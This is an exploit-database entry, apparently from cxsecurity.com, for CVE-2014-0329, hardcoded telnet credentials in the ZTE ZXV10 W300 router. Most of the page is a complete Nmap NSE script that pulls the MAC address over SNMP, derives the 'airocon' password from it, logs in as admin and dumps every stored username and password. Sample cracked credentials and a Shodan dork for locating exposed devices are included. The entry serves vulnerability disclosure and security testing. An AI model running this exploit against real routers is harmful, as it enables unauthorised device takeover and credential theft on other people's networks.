ZTE ZXV10 W300 router contains hardcoded credentials exploit

2014-02-09 / 2014-02-10
Credit: Cesar Neira
Risk: High
Local: No
Remote: Yes
CWE: CWE-255


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: ZTE ZXV10 W300 router contains hardcoded credentials # Date: 03 Feb 2014 # Exploit Author: Cesar Neira # Vendor Homepage: http://wwwen.zte.com.cn/ # Version: ZTE ZXV10 W300 v2.1 # CVE : CVE-2014-0329 # Dork (Shodan): Basic realm="index.htm" # References: http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html local nmap = require "nmap" local stdnse = require "stdnse" local snmp = require "snmp" local vulns = require "vulns" description = [[ ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet service on the device. The username is "admin" and the password is "XXXXairocon" where "XXXX" is the last four characters of the device's MAC address. The MAC address is obtainable over SNMP with community string public. ]] author = "Cesar Neira" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"vuln", "exploit", "intrusive"} --- -- -- @usage nmap -sU -sS -p U:161,T:23 --script=airocon example.org -- @output -- PORT STATE SERVICE -- 23/tcp open telnet -- 161/udp open|filtered snmp -- -- Host script results: -- | airocon: -- | VULNERABLE: -- | ZTE ZXV10 W300 router contains hardcoded credentials -- | State: VULNERABLE (Exploitable) -- | IDs: CVE:CVE-2014-0329 -- | Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C) -- | Description: -- | ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet -- | service on the device. The username is "admin" and the password is "XXXXairocon" -- | where "XXXX" is the last four characters of the device's MAC address. The MAC address -- | is obtainable over SNMP with community string public. -- | Disclosure date: 2014-2-3 -- | Exploit results: -- | admin:1234 -- | support:1234 -- | admin:0E91airocon -- | References: -- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0329 -- | http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html -- |_ http://www.kb.cert.org/vuls/id/228886 -- @args community SNMP community (Default: public) -- --- local DEFAULT_COMMUNITY = "public" hostrule = function(host) local snmp_port, telnet_port snmp_port = nmap.get_port_state(host, {number=161, protocol="udp"}) if not snmp_port and not (snmp_port.state == "open" or snmp_port.state == "open|filtered") then return false end telnet_port = nmap.get_port_state(host, {number=23, protocol="tcp"}) if not telnet_port and not telnet_port.state == "open" then return false end return true end local get_mac = function(host, community) local socket, status, response socket = nmap.new_socket("udp") socket:set_timeout(5000) status, response = socket:connect(host, 161) if not status then socket:close() return status, response end local payload, request request = snmp.buildGetRequest({}, ".1.3.6.1.2.1.2.2.1.6.10000") payload = snmp.encode(snmp.buildPacket(request, 0, community)) status, response = socket:send(payload) if not status then socket:close() return status, response end status, response = socket:receive_bytes(1) if not status then socket:close() return status, response end socket:close() local result result = snmp.fetchFirst(response) if not result then return false, "Unexpected response value." end return true, stdnse.tohex(result) end local dump_creds = function(host, user, password) local socket, status, response socket = nmap.new_socket("tcp") socket:set_timeout(5000) status, response = socket:connect(host, 23) if not status then socket:close() return status, response end local payload payload = user .. "\r" .. password .. "\rsh\rlogin show\rexit\r" status, response = socket:send(payload) if not status then socket:close() return status, response end status, response = socket:receive_buf("exit", false) if not status then socket:close() return status, response end socket:close() return true, response end local parse_response = function(response) local index index = string.find(response, "Username +Password +Priority") if not index then return false, "Unexpected response value." end index = string.find(response, "\r\n", index) + 2 response = string.sub(response, index) local result, endl, line result = {} index = 0 endl = string.find(response, "\r\n", index) while endl do line = string.sub(response, index, endl) line = string.gsub(line, "\r", "") line = string.gsub(line, "^ +", "") line = string.gsub(line, " +$", "") line = string.gsub(line, " +", " ") local user, pass, prio for user, pass, prio in string.gmatch(line, "([^ ]+) ([^ ]+) ([^ ]+)") do local aux = {} aux['username'] = user aux['password'] = pass aux['priority'] = prio table.insert(result, aux) end index = endl + 2 endl = string.find(response, "\r\n", index) end return true, result end action = function(host) local vuln = { title = "ZTE ZXV10 W300 router contains hardcoded credentials", state = vulns.STATE.NOT_VULN, IDS = {CVE = 'CVE-2014-0329'}, risk_factor = "High", scores = { CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)", }, description = [[ ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet service on the device. The username is "admin" and the password is "XXXXairocon" where "XXXX" is the last four characters of the device's MAC address. The MAC address is obtainable over SNMP with community string public.]], references = { "http://www.kb.cert.org/vuls/id/228886", "http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html" }, dates = { disclosure = {year = 2014, month = 2, day = 3}, }, exploit_results = {}, } local community community = stdnse.get_script_args(SCRIPT_NAME .. ".community") or DEFAULT_COMMUNITY local status, response status, response = get_mac(host, community) if not status then return response end local password password = string.upper(string.sub(response, 9)) .. "airocon" status, response = dump_creds(host, "admin", password) if not status then return response end status, response = parse_response( response ) if not status then return response end vuln.state = vulns.STATE.EXPLOIT for _, data in pairs(response) do table.insert(vuln.exploit_results, data.username .. ":" .. data.password) end return vulns.Report:new(SCRIPT_NAME, host):make_output(vuln) end

References:

http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html
http://cxsecurity.com/issue/WLB-2014020066


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top